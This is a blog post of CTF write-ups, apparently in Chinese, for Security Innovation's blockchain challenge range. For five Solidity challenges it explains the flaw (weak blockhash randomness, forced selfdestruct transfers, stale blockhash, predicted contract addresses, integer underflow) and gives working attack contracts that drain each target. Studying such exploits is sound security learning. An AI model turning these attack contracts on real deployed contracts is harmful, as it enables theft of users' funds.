security innovation 靶场刷题(下)(持续更新)

Heads or Tails

    
    function play(bool _heads) external payable ctf{
        require(msg.value == cost, "Incorrect Transaction Value");
        require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
            //win
            gameFunds = gameFunds.sub(msg.value.div(2));
            msg.sender.transfer(msg.value.mul(3).div(2));
        }
        else {
            //loser
            gameFunds = gameFunds.add(msg.value);
        }
    }

还是一个简单的随机数问题,写个合约攻击一下就行。
一定一定一定一定记得写个自毁函数,不然钱就没了。

pragma solidity 0.4.24;
interface HeadsOrTails{
    
    function play(bool _heads) external payable;

}

contract Feng {
    HeadsOrTails constant private target = HeadsOrTails(0x6B1E8Df7b809bE6bECe0FBFd94e90d6a854b2CC3);
    function attack(uint max) public payable{
        for(uint i = 0; i < max; i++){
            bytes32 entropy = blockhash(block.number-1);
            bytes1 coinFlip = entropy[0] & 1;
            bool _heads = (coinFlip == 1) ?true:false;
            target.play.value(0.1 ether)(_heads);
        }
    }
    function() public payable{
        
    }
    function kill() public {
        selfdestruct(msg.sender);
    }
}

Record Label

这题怎么说呢,我感觉有些怪。虽然说这个靶场的过关条件就是把目标合约中的余额给清空即可。
这个函数:

    function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
        require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
        funds = funds.sub(_withdrawAmount);
        royalties.call.value(_withdrawAmount)();
        uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();
        uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); 
        msg.sender.transfer(artistPayout);
    }

如果我们直接转1 ether,那么会把这个合约的1 ether转给那个royalties,之后调用getLastPayoutAmountAndReset函数,得到的就是转入的总金额减去那边receive得到的钱,这部分的钱是转回了我们的目标合约中。但是

        uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); 
        msg.sender.transfer(artistPayout);

这部分又转给了我们自己。说白了就是%80给那边,%20给我们。如果直接传1 ether,那么目标合约的余额就被清空了,成功过关。

不过有一说一这题目吃我钱就有点难受的,我的想法是这个函数是可以修改receiverToPercentOfProfit的:

    function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
        require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining");
        receiver.push(_receiver);
        receiverToPercentOfProfit[_receiver] = _percent;
        percentRemaining = percentRemaining.sub(_percent);
    }

虽然address private collectionsContract;是private,但是可以读到,然后把它作为_receiver传进入,_percent传0,就能把他的那%80清空。然后再withdrawFundsAndPayRoyalties传1 ether的话,就能把1 ether完全转回我们自己的账号的。

怪就怪在,我找的几个WP都是说直接传1 ether过关即可。。。虽然是虚拟即ETH,但是我ETH真的不多,所以想方设法把它转回来。。。可能写WP的那些师傅们ETH比较多叭。。。
操作比较简单,这里就不具体放了。

Slot Machine

简单的逻辑:

    function() external payable ctf{
        require(msg.value == 1 szabo, "Incorrect Transaction Value");
        if (address(this).balance >= winner){
            msg.sender.transfer(address(this).balance);
        }
    }

szabo是:
在这里插入图片描述
需要让目标的余额>=5ether就可以把钱转会我们的,但是每次给目标转都只能转1 szabo,肯定不行。因此这里利用selfdestruct来自毁合约来实现强制转钱即可。

pragma solidity 0.4.24;

contract Feng {
    address public target = 0xeB71766553dA11D743710592DA9FF16029aEBA25;
    function kill() payable {
        selfdestruct(target);
    }
}

转3.5 ether。
然后再自己转给目标1 szabo即可。

Raffle

大致看一下逻辑,一张票0.1 ether,然后根据买票的时候给的额外的钱来确定一个ticketNumbers,之后产生winningTicket,如果和我们自己的那个numbers一样的话,就可以把钱都转走了。

我一开始以为是伪随机数的问题,但是后来发现不太行:

winningTicket = bytes4(blockhash(blocknum));

这个blocknum在买票的时候是block.number+1,之后区块的哈希值是不可预期的,所以没法直接预测这个winningTicker,然后我就不会了。看了一下师傅们的WP,主要是blockhash的问题:
在这里插入图片描述
blockhash不仅仅对于当前区块的处理值是0,对于非最新256个区块的区块的处理也都是0,因此等256个区块过去之后,再获得winnerTicker就是0了,这样的话只需要传0.1 ether即可。

还有一些细节需要注意,就是调用closeRaffle()的那一方的potentialWinner会被之为false,如果换另一个号来调用的话,那么目标合约里面的钱一定就取不完了。我就迷这里迷了好久,关键在这里:

    function () public payable ctf{
        if(msg.value>=fee){
            this.buyTicket();
        }
        else if(msg.value == 0){
            this.closeRaffle();
        }
        else{
            this.collectReward();
        }
    }

我愣是没反应过来,这样调用函数的话,msg.sender是目标合约,因此需要转0 ether,让目标合约帮我们调用closeRaffle。因此还需要把调用Ctf_challenge_add_authorized_sender,把目标合约设一下auth。

POC:

pragma solidity ^0.5.10;

interface Raffle{

    function buyTicket() external payable ;

    function closeRaffle() external ;

    function collectReward() external payable ;

    function skimALittleOffTheTop(uint256 _value) external ;

}
contract Feng {
    Raffle constant private target = Raffle(0xdfa32e2c8B9182C197720A43d8E0EC2327105282);
    address targetAddr = 0xdfa32e2c8B9182C197720A43d8E0EC2327105282;
    uint public blocknum;
    function attack() public payable{
        blocknum = block.number;
        target.buyTicket.value(0.1 ether)();
    }
    function() external payable {
        
    }
    function kill() public {
        selfdestruct(msg.sender);
    }
    function test() public {
        require(block.number>blocknum+256);
        targetAddr.call.value(0 ether)("");
        target.collectReward();
    }
}

Scratchcard

源码:

pragma solidity 0.4.24;

import "../CtfFramework.sol";

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}

contract Scratchcard is CtfFramework{

    event CardPurchased(address indexed player, uint256 cost, bool winner);

    mapping(address=>uint256) private winCount;
    uint256 private cost;


    using Address for address;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
    }

    modifier notContract(){
        require(!msg.sender.isContract(), "Contracts Not Allowed");
        _;
    }
    
    function play() public payable notContract ctf{
        bool won = false;
        if((now%10**8)*10**10 == msg.value){
            won = true;
            winCount[msg.sender] += 1;
            cost = msg.value;
            msg.sender.transfer(cost);
        }
        else{
            cost = 0;
            winCount[msg.sender] = 0;
        }
        emit CardPurchased(msg.sender, msg.value, won);
    }    

    function checkIfMegaJackpotWinner() public view returns(bool){
        return(winCount[msg.sender]>=25);
    }

    function collectMegaJackpot(uint256 _amount) public notContract ctf{
        require(checkIfMegaJackpotWinner(), "User Not Winner");
        require(2 * cost - _amount > 0, "Winners May Only Withdraw Up To 2x Their Scratchcard Cost");
        winCount[msg.sender] = 0;
        msg.sender.transfer(_amount);
    }

    function () public payable ctf{
        play();
    }

}


比较好理解,notContract这里的话,让攻击合约的攻击代码放在constructor里面就可以了。而play()函数的话,就是通过预测now,来增加winCount[msg.sender]。当它>=25的时候,就可以调用collectMegaJackpot转回钱了。

但是有2个点需要注意,因为攻击合约是在constructor的时候攻击的时候,而且它需要通过auth,因此不能像之前那样先把合约部署出来,然后把合约的地址去给auth了,我们需要预测。这里借助一个中间合约,让中间合约不停的创建攻击合约,然后预测攻击合约的地址,并往里面转钱,然后进行多次的攻击即可。POC:

pragma solidity 0.4.24;

contract Scratchcard {
    function play() external payable;
    function checkIfMegaJackpotWinner() external view returns(bool);
    function collectMegaJackpot(uint256 _amount) external;
    function ctf_challenge_add_authorized_sender(address _addr) external ;
}

contract Feng{
    Scratchcard constant private target = Scratchcard(0xa6096D009C800a963e5deDfB973552dA0Ef913DA);
    uint public count;
    uint public money;
    constructor() public payable{
        while(count <25){
            money = (now%10**8)*10**10;
            target.play.value(money)();
            count+=1;
        }
        if(money*2-1 > address(target).balance){
            target.collectMegaJackpot(address(target).balance);
        }else{
            target.collectMegaJackpot(money*2-1);
        }
        selfdestruct(0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8);
    }
    function() public payable{
        
    }
}
contract Middle{
    Scratchcard constant private target = Scratchcard(0xa6096D009C800a963e5deDfB973552dA0Ef913DA);
    uint8 public nonce = 0x01;
    function attack() public payable{
        address willCreate =address(keccak256(0xd6, 0x94, this, nonce));
        nonce+=1;
        target.ctf_challenge_add_authorized_sender(willCreate);
        address(willCreate).transfer(8 ether);
        Feng newFeng = new Feng();
    }
}

先创建middle合约,然后给它auth,然后多次使用attack函数,每次都给8 ether,多次攻击就可以把目标合约的钱转完了。

后来看了别的师傅
主要就是这里:

        require(2 * cost - _amount > 0, "Winners May Only Withdraw Up To 2x Their Scratchcard Cost");

整形下溢出啊,直接转完3.5 ether就可以了,没必要像我这么傻的一次一次的转,我太菜了。。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值